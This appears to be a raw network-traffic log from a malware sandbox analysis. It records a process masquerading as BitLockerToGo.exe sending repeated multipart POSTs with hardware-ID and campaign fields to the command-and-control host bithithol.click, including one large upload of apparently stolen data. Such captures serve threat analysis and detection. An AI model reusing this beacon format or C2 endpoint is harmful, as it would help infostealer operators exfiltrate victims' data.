2024-12-24 07:16:35 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=USAEBSZZNLZB2S4V User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8776 Host: bithithol.click
2024-12-24 07:16:35 UTC	8776	OUT	Data Raw: 2d 2d 55 53 41 45 42 53 5a 5a 4e 4c 5a 42 32 53 34 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 34 36 43 41 34 38 45 34 30 33 46 43 34 35 45 36 44 46 37 30 30 37 45 36 42 42 34 36 39 44 31 0d 0a 2d 2d 55 53 41 45 42 53 5a 5a 4e 4c 5a 42 32 53 34 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 55 53 41 45 42 53 5a 5a 4e 4c 5a 42 32 53 34 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 56 76 51 4f 58 4e 2d 2d 6d 6f 6e 65 79 74 72 65 65 0d 0a Data Ascii: --USAEBSZZNLZB2S4VContent-Disposition: form-data; name="hwid"546CA48E403FC45E6DF7007E6BB469D1--USAEBSZZNLZB2S4VContent-Disposition: form-data; name="pid"2--USAEBSZZNLZB2S4VContent-Disposition: form-data; name="lid"VvQOXN--moneytree
2024-12-24 07:16:36 UTC	1125	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 07:16:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a1u66deb7u0smm2p3th9u29r0j; expires=Sat, 19 Apr 2025 01:03:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rK%2BzSgdexmYAsBMQuQ6ox9u%2Bo9C8OD6YZHbl8zwKoUJpYk5kli0SgY0oKvcHQece%2BKzNtFwCSsp4Tbce5byCdPFbQ5xXiPBN2x1SXw79W6pn9bk6UmQZkNzUrdlVmToi2pA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6ece8b2bcdc472-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2039&min_rtt=1775&rtt_var=854&sent=9&recv=14&lost=0&retrans=0&sent_bytes=2834&recv_bytes=9712&delivery_rate=1645070&cwnd=234&unsent_bytes=0&cid=a962d0069125b4c7&ts=827&x=0"
2024-12-24 07:16:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 07:16:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49745	172.67.151.61	443	7764	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 07:16:37 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=O1RXQRMTE2OXMHHTAAM User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20447 Host: bithithol.click
2024-12-24 07:16:37 UTC	15331	OUT	Data Raw: 2d 2d 4f 31 52 58 51 52 4d 54 45 32 4f 58 4d 48 48 54 41 41 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 34 36 43 41 34 38 45 34 30 33 46 43 34 35 45 36 44 46 37 30 30 37 45 36 42 42 34 36 39 44 31 0d 0a 2d 2d 4f 31 52 58 51 52 4d 54 45 32 4f 58 4d 48 48 54 41 41 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4f 31 52 58 51 52 4d 54 45 32 4f 58 4d 48 48 54 41 41 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 56 76 51 4f 58 4e 2d 2d 6d 6f Data Ascii: --O1RXQRMTE2OXMHHTAAMContent-Disposition: form-data; name="hwid"546CA48E403FC45E6DF7007E6BB469D1--O1RXQRMTE2OXMHHTAAMContent-Disposition: form-data; name="pid"3--O1RXQRMTE2OXMHHTAAMContent-Disposition: form-data; name="lid"VvQOXN--mo
2024-12-24 07:16:37 UTC	5116	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 Data Ascii: `M?lrQMn 64F6(X&7~
2024-12-24 07:16:38 UTC	1131	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 07:16:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pki6lirmnd2rphfi64d563elhg; expires=Sat, 19 Apr 2025 01:03:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GC1cI04U4uLNCDcL1xdb5ok7TtWI4lLYujaCI%2BR8S3tTeBm8rMVV7EkhNjtXN9m5iJQgYeSiLVCtZgLz2PTbZ20RO7YlFXrEBIW6oPC0%2BDcpbWaJr0M%2F%2BFaNZoO0%2Fc3dLQk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6ece990f020f85-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1658&min_rtt=1657&rtt_var=625&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2836&recv_bytes=21409&delivery_rate=1747456&cwnd=204&unsent_bytes=0&cid=46c8f904ca2485a3&ts=966&x=0"
2024-12-24 07:16:38 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 07:16:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49746	172.67.151.61	443	7764	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 07:16:40 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0ZIJ2HN5W0C85OG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1244 Host: bithithol.click
2024-12-24 07:16:40 UTC	1244	OUT	Data Raw: 2d 2d 30 5a 49 4a 32 48 4e 35 57 30 43 38 35 4f 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 34 36 43 41 34 38 45 34 30 33 46 43 34 35 45 36 44 46 37 30 30 37 45 36 42 42 34 36 39 44 31 0d 0a 2d 2d 30 5a 49 4a 32 48 4e 35 57 30 43 38 35 4f 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 30 5a 49 4a 32 48 4e 35 57 30 43 38 35 4f 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 56 76 51 4f 58 4e 2d 2d 6d 6f 6e 65 79 74 72 65 65 0d 0a 2d 2d 30 Data Ascii: --0ZIJ2HN5W0C85OGContent-Disposition: form-data; name="hwid"546CA48E403FC45E6DF7007E6BB469D1--0ZIJ2HN5W0C85OGContent-Disposition: form-data; name="pid"1--0ZIJ2HN5W0C85OGContent-Disposition: form-data; name="lid"VvQOXN--moneytree--0
2024-12-24 07:16:41 UTC	1132	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 07:16:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=26bnd0dj6sc484ic2ecsovqhr2; expires=Sat, 19 Apr 2025 01:03:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6Lv0PIW4jn9jRbBluVFzLYVoFNcHqO8IbFdm5TwJh%2B%2Fw38LUvtnoPI%2FMN%2F9Bz45xGHN83v4fP0%2BxdIy4SnViQumpxwyYDF3WP93NcdvKrAOPnfWKkrcvZdC%2FJXIvodI%2BQKg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6ecea8ddc843c7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1578&min_rtt=1558&rtt_var=624&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=2157&delivery_rate=1698662&cwnd=211&unsent_bytes=0&cid=29cf86aab5037554&ts=795&x=0"
2024-12-24 07:16:41 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 07:16:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49747	172.67.151.61	443	7764	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 07:16:42 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3S8FTP2CA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 549833 Host: bithithol.click
2024-12-24 07:16:42 UTC	15331	OUT	Data Raw: 2d 2d 33 53 38 46 54 50 32 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 34 36 43 41 34 38 45 34 30 33 46 43 34 35 45 36 44 46 37 30 30 37 45 36 42 42 34 36 39 44 31 0d 0a 2d 2d 33 53 38 46 54 50 32 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 33 53 38 46 54 50 32 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 56 76 51 4f 58 4e 2d 2d 6d 6f 6e 65 79 74 72 65 65 0d 0a 2d 2d 33 53 38 46 54 50 32 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --3S8FTP2CAContent-Disposition: form-data; name="hwid"546CA48E403FC45E6DF7007E6BB469D1--3S8FTP2CAContent-Disposition: form-data; name="pid"1--3S8FTP2CAContent-Disposition: form-data; name="lid"VvQOXN--moneytree--3S8FTP2CAContent-
2024-12-24 07:16:42 UTC	15331	OUT	Data Raw: dd cb 36 7e 60 f2 29 70 3c 9c aa 7c ff 3c 02 ea 0d 51 1a 0a df 8d 1b 06 3c c9 31 b1 fe 3f 97 11 f6 55 00 4d 5c ce cd b6 f8 cb 80 ed 93 7c 74 1a 5b 41 cc 74 81 ee 69 2c 10 bb a2 0e 2b e5 13 92 43 7c 0b ce 3a 0b 0a 04 48 13 d7 6f 8c 9f 88 13 a0 cd 17 ab 4f c5 df 09 b7 db 88 08 38 16 b6 97 61 f4 87 90 ad b3 f3 41 94 71 10 5e 1f 94 74 04 f9 4f e6 41 70 36 54 29 85 3f d2 0c 17 ee 07 0e 5a 9d 80 5c cd f3 16 44 aa 6f 5c 5a 14 b8 f1 6f cb c7 01 97 be b1 be 77 69 23 f6 43 4e ef d0 a1 9a f5 1b 57 a9 50 81 7d 45 87 49 c9 d5 c4 10 d7 c9 b4 28 14 dc bb df 47 c4 08 13 8a 4c 3b 31 34 2d 07 03 92 fc e3 a9 b9 a0 38 d8 d1 65 cd a1 41 03 3f 1d b0 74 f0 7d 9f 1e d8 6e 2c bf fb e6 d4 e8 e0 c5 dd fd de 37 4e f6 4a f7 4e 8e 29 da bf 75 28 a9 ca 7e 63 53 51 f0 df c5 b4 d9 c3 ff Data Ascii: 6~`)p<\|<Q<1?UM\\|t[Ati,+C\|:HoO8aAq^tOAp6T)?Z\Do\Zowi#CNWP}EI(GL;14-8eA?t}n,7NJN)u(~cSQ
2024-12-24 07:16:42 UTC	15331	OUT	Data Raw: a4 2e 2d b5 4e a4 d4 4b 74 61 6a b5 14 de b6 06 e3 03 86 6b a9 26 dc ef 1f c7 e3 ca 46 27 a7 a7 a3 eb f4 27 94 9c 55 c0 4e c7 08 88 20 b7 0f 4f b5 0c 24 aa 28 29 46 c4 fd 7a 7f e2 98 7c a4 81 53 97 21 ce ef b8 0a 9f 1f 2f 5f ad ab 83 7b d4 58 f6 eb 5d 06 81 ff ae 9a f5 b4 c0 ab 12 1e 1e cd cf 23 1e 8b e6 17 5a 53 ea 5b 12 da d9 24 a7 fd 6a a3 f6 51 1c 41 0e 25 b4 07 67 f2 50 77 49 bc 52 e5 95 60 6a cb 9d d0 da 3d f9 93 72 fd fc df d5 b3 26 af 8c fe 3e 1b 7d 35 3d 64 1f df dd 20 d1 3e 6a b3 e1 f3 c6 68 d8 5f fc 97 62 ed 54 08 3f fa 27 b3 7b dd e9 8a df a3 4c 43 44 67 96 68 56 6e 8b ac d0 fa 70 ec b1 21 a8 3b 6a 4b e4 e9 8e 02 95 74 96 f2 04 2f 5d 24 43 e2 05 3b 58 34 5d 8c 39 be 39 cb ed 7e cf d1 6f 35 c1 7b e8 ff da 61 da da 49 7f 50 02 f1 2f ca 2e 5e 9f Data Ascii: .-NKtajk&F''UN O$()Fz\|S!/_{X]#ZS[$jQA%gPwIR`j=r&>}5=d >jh_bT?'{LCDghVnp!;jKt/]$C;X4]99~o5{aIP/.^
2024-12-24 07:16:42 UTC	15331	OUT	Data Raw: 8c 5d 76 73 37 3d ca fa d3 b3 bd 9f d0 30 a3 72 c9 e5 c0 c6 8b 7e 81 9e cc 8a cf 23 35 15 2f ff 61 31 b9 f9 b1 a7 ab a7 56 fe 38 31 a9 cd e7 84 ba c6 7e 6e fd a6 fa 1a bb db bc e2 5c fb b4 3f 93 9a b7 17 38 0a 17 01 cc ad d3 c0 f1 c2 0e 9e 9d 3a bd b2 85 c2 2c b7 61 09 56 e9 81 36 0e 47 1d 1f 6e f3 75 fd d1 bd 08 ab 09 b9 c9 02 69 20 1b 13 72 cb 6b 1e a2 db 85 da 1b 7c 50 c7 cf f4 be 21 b7 99 3c 0d b7 d0 02 0e 1f 7f 6d 20 3e c2 14 78 c8 ff 7f 47 a0 23 99 a3 10 28 43 43 4d 06 e0 5a 59 2e 22 b2 24 22 35 4b 51 e0 42 c8 53 6d be 35 ba b8 2a f6 d5 2b c5 21 ad 1f 80 b0 87 e8 88 79 86 25 7e 99 74 f5 e0 06 16 3f 31 8c 52 41 81 c4 8f 9c 10 9b 08 9b c4 50 c3 26 ab d2 20 da f8 6c e3 82 ab 01 eb 2e dd f5 c6 4d e3 de 19 c3 b5 3e 62 4c e4 60 8e 00 fd 8c 0c 8c 26 f8 9c Data Ascii: ]vs7=0r~#5/a1V81~n\?8:,aV6Gnui rk\|P!<m >xG#(CCMZY."$"5KQBSm5*+!y%~t?1RAP& l.M>bL`&
2024-12-24 07:16:42 UTC	15331	OUT	Data Raw: 17 15 2e d3 97 e7 bd b4 ed 69 84 79 be 8c 7c ed 02 98 4a 98 13 f2 6a 7e 8f 19 cb 48 34 b5 27 fe 1b 89 40 53 43 c5 f6 48 63 e7 51 9e 68 f3 76 94 b9 93 c6 af cb f8 97 7e 5b ef 41 74 c7 b9 00 56 1f 82 c4 32 02 98 be e9 74 9b 35 33 bb f3 e4 ea 09 ce 35 03 3c 7e 4a 37 f8 ab 64 20 96 07 23 8c e9 55 18 47 33 a2 8a ba 8d e6 64 3f 58 33 9a 8c b1 e1 42 8d f2 56 ee 99 4e 49 a3 23 e3 77 66 86 2a e2 37 5f 0a 50 f8 39 77 46 83 b1 f5 a4 da eb 4c 66 c4 df 83 e4 3a 89 48 e3 3a 04 3b 10 26 51 8e ba 44 a4 f5 a1 19 71 e5 ea e9 f0 3d be a5 a7 7c 2a 92 c9 96 f6 19 09 38 21 c1 fd 8c 92 3d bb 74 b8 a4 ef b2 a6 37 9e 49 44 1e e6 33 a9 fa b1 d2 a4 75 73 35 b3 75 8b 3b ac 49 07 23 04 5e 0f a8 8d 67 bd e1 02 7f be 8e 3d 89 ac 31 d2 cd 4a e0 15 02 b7 27 a0 c5 73 a6 99 09 a2 b1 cf 17 Data Ascii: .iy\|Jj~H4'@SCHcQhv~[AtV2t535<~J7d #UG3d?X3BVNI#wf7_P9wFLf:H:;&QDq=\|8!=t7ID3us5u;I#^g=1J's
2024-12-24 07:16:42 UTC	15331	OUT	Data Raw: 23 7d 7b 18 f5 fc b0 ac 28 70 6c 92 1b 8a d4 f9 fa 6d c9 32 bd a2 a3 29 9e 73 45 58 fc c7 df dc 0e 57 ec 1d 38 c8 1f 3a 81 09 f5 47 fd 58 c0 c5 66 d5 99 d0 cc c3 26 42 24 38 f3 4f 02 2b bd 58 09 2a d7 c6 c1 b2 6f 7a 45 61 f6 6e 19 d8 10 03 bf e4 62 d7 47 89 0e b6 bd 3a 4b ac ae ef 96 b0 bd f0 c2 8b a7 ff 3b 4c 73 3d 03 7b 87 4b 5a 84 fe 0a b1 13 55 65 22 a9 b0 cd 58 ad 28 cb 6e 5d ad f6 19 ca 50 f7 c3 bc d7 07 f7 67 9f b9 80 be b9 c6 38 b3 33 53 e4 2a 74 93 aa ae b9 8c 9e 45 2f e7 cc d8 1c 25 d3 59 4b aa b4 31 00 de a2 19 f3 ac 3e 52 9a 08 20 ec 11 8b 52 e2 66 37 6c af 0d fe bb 2e 39 52 c3 ec 9c fa 99 20 77 dc 19 de 07 1a 54 76 f6 3b cc b6 40 18 70 48 8a 21 df 00 53 c3 2e 71 81 07 e2 0c 3d 44 da dd bd be ef fd d6 ec dd 26 26 55 88 bd f1 6b ab 92 96 e5 17 Data Ascii: #}{(plm2)sEXW8:GXf&B$8O+XozEanbG:K;Ls={KZUe"X(n]Pg83StE/%YK1>R Rf7l.9R wTv;@pH!S.q=D&&Uk
2024-12-24 07:16:42 UTC	15331	OUT	Data Raw: 15 ff b4 8b 38 02 0c 9b c2 21 ec 28 2e 6a 72 c4 47 eb f9 c7 b1 78 97 3b 81 df 8e 3c 5a da ca f4 32 de 27 b2 e1 e5 28 a0 50 dd f3 d2 1b 53 34 7c 19 87 47 7c ff 9d 8e 1d 2b 5e 30 27 f1 7f dd 6c 47 d4 01 69 a7 2a a3 9b d9 e6 a9 be 4f 1c 5c f9 27 75 47 ac 33 0f a2 48 10 26 94 f6 d8 23 c7 e6 6b 21 30 fb 2c 14 22 ca 65 29 43 8e c2 bd 27 39 5a e7 d2 b8 f7 7a d0 31 7d 78 97 8b c4 40 de fb 91 16 6d 9b 9a b5 a2 59 1e 72 25 6b 9a 99 23 d4 29 1a ee 22 59 1c 51 7d 04 58 8c 66 6a a0 be 63 7b ff d2 86 2b 1a ae e2 20 b5 06 6c ec d5 c8 72 c8 da d1 5e 02 f0 d4 38 41 c4 a1 10 3c ab d8 39 3b 4b 64 92 75 78 f0 fb 15 4a e5 ae db 4a cc 91 09 96 a5 58 16 36 ec e7 af 56 ff df 05 be cc c3 cc 92 e2 63 c2 0b 97 63 32 75 30 c6 e7 c9 be bc b3 32 71 86 e2 58 8e 34 f4 7a 24 6e b6 38 46 Data Ascii: 8!(.jrGx;<Z2'(PS4\|G\|+^0'lGi*O\'uG3H&#k!0,"e)C'9Zz1}x@mYr%k#)"YQ}Xfjc{+ lr^8A<9;KduxJJX6Vcc2u02qX4z$n8F
2024-12-24 07:16:42 UTC	15331	OUT	Data Raw: 87 f3 17 0d 6c 7a b3 8b 3b da d1 6d 7f 0c 05 83 c0 23 28 c3 61 6f e9 a5 62 b9 94 11 97 53 9b d2 08 cf 65 e7 4c e3 26 f4 29 44 68 24 d6 0b a9 4e 5d cd 4e dd f5 06 03 5c ce af cb b1 e2 9d f1 f2 c1 df 7d 61 6d 7c 71 d2 37 df a1 fc 6b 53 19 2c bd 1d 7b 59 44 46 13 ba 49 56 11 c1 54 ec 35 48 d8 a8 e2 10 ee e5 98 ee ef 1f 89 a2 28 8c de 5a 25 57 1e e7 e8 d5 57 73 53 fe 01 3d 8a 90 86 d1 31 ad 95 ea 65 0f 6b 4b 9c 98 c8 b0 fa 94 10 ce ed e3 4f 2e b0 2a 1d 9c 3a 92 7b 24 34 f9 c8 c9 f3 ff 4e 9b b1 48 eb a2 3b ec 88 92 6f 6c b1 6d b3 72 51 2b 3d a7 a1 8c 6c 9f c4 9d 17 97 a6 0d 47 3f d9 41 9f 79 9e c0 67 b1 60 5e b8 2f fd 1c d0 5a 38 40 2c 41 20 8e f2 6e ca f6 5f 49 1b c0 02 72 38 74 8e 0f 94 5b b9 ff f2 76 3f f9 04 74 1e e1 c4 d8 a4 45 e4 9f ba e5 41 74 6a 70 f4 Data Ascii: lz;m#(aobSeL&)Dh$N]N\}am\|q7kS,{YDFIVT5H(Z%WWsS=1ekKO.*:{$4NH;olmrQ+=lG?Ayg`^/Z8@,A n_Ir8t[v?tEAtjp
2024-12-24 07:16:42 UTC	15331	OUT	Data Raw: 5d 86 a8 0e fd c8 1f ef 7c b7 2e 6b cb 4f 54 9b 13 34 05 80 04 56 2a d5 3d 4f 8d b0 a0 a7 67 84 3e 7a b7 41 7f e8 c4 80 6f fa 93 d6 ee cf 0f f3 cd 04 79 b7 e6 ed 3f 19 51 ff 77 4b 4c 10 84 f8 2c 2e a2 81 36 fe 0a 0e bc 45 17 0a a0 86 c9 64 c9 7f 82 d3 b4 7d 12 37 8f d5 58 1a f3 fb ea 20 18 30 e0 04 39 47 96 da 8b a2 07 38 14 2a 0d 73 25 0f f7 4b 8d b8 c6 63 47 54 e9 02 18 6d 96 67 34 35 18 e0 d7 1f b3 c6 56 00 9f 8a f9 e0 71 91 37 5b 71 fb a6 ad d0 bc 76 3e 7c 66 ce 54 cd 89 53 9b cf 2a 52 8d 79 05 c7 c4 ef 41 b0 51 b7 fe fa 15 07 09 d4 f5 84 09 08 dc 20 e0 1a 70 f5 ca 51 21 bb a9 fc 00 c2 41 2b c4 bd a1 3b b9 76 ad 39 b3 64 17 1b 53 a7 11 ec 65 4b bc 07 e6 35 3a 89 90 74 b0 c6 18 9d b4 89 28 c0 6d 9f cd 49 a0 0b 08 fc 9a b2 29 b4 b1 b5 0d cc dc 1b 5b fe Data Ascii: ]\|.kOT4V=Og>zAoy?QwKL,.6Ed}7X 09G8s%KcGTmg45Vq7[qv>\|fTS*RyAQ pQ!A+;v9dSeK5:t(mI)[
2024-12-24 07:16:42 UTC	15331	OUT	Data Raw: e8 2f 6f 4a 4e 98 5a 7e 8a e6 df e0 f3 21 a0 6b af a3 09 67 f8 af 49 0a 3a ce eb d3 04 be da ff df 4b 6f ac e3 f4 4e 66 42 7c 4c 62 d9 4e 43 5e e6 5d 35 2f 41 c4 1b b3 e8 b1 c6 44 c0 b0 3b 0a f2 0f cf a8 40 f9 bf cc 98 ee 0e c3 17 af 7e 11 ad dc 79 b3 98 ad 81 80 c8 2f ae a9 a7 bd 59 57 f3 c3 19 09 f9 4b 35 13 2e 53 f0 44 6d 13 a9 02 ad 2e 60 d9 ba 23 f4 28 0c c3 d4 a0 18 b5 42 53 9c b7 fb f5 e5 22 95 94 09 00 3b 39 7a c7 f9 1b 43 be b3 03 3d 3d a4 0f b8 ce 1f 18 ad 09 ef b9 2d e0 18 b4 f0 6a de 5e 85 d8 42 cf f2 18 ac 94 1b 2c b9 eb 92 2f b6 30 10 26 15 e9 dd ac dc 31 b6 54 ac 4d 8f a2 d6 cd 7a e4 85 20 dc 0b 18 fb 73 7d ec 15 61 10 e2 3d 37 2b 0f 87 f9 41 af 35 93 26 3e ec 49 81 45 1d 3f 51 25 59 b3 7d 15 dc f7 92 41 4e bb c9 36 2c 8f 11 68 fd b9 a6 0b Data Ascii: /oJNZ~!kgI:KoNfB\|LbNC^]5/AD;@~y/YWK5.SDm.`#(BS";9zC==-j^B,/0&1TMz s}a=7+A5&>IE?Q%Y}AN6,h
2024-12-24 07:16:45 UTC	1131	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 07:16:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3tcm3oi1qabjmu123ijmner4ci; expires=Sat, 19 Apr 2025 01:03:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nrTKNpYiusduVbmENFxkf3Czz59F9ol1nHzt8WEgTLwJqkIssnZZhYtYLAHXsE6La5hEZ42UhZAU5eyKGLtTmbRtKdw%2F5RFcBI732lPQAX%2FGTlN6UsSpoNVV%2BIISK9RrGVg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6eceb85e0942a0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1691&min_rtt=1675&rtt_var=660&sent=196&recv=574&lost=0&retrans=0&sent_bytes=2834&recv_bytes=552304&delivery_rate=1617728&cwnd=225&unsent_bytes=0&cid=4463d09e42898609&ts=2355&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
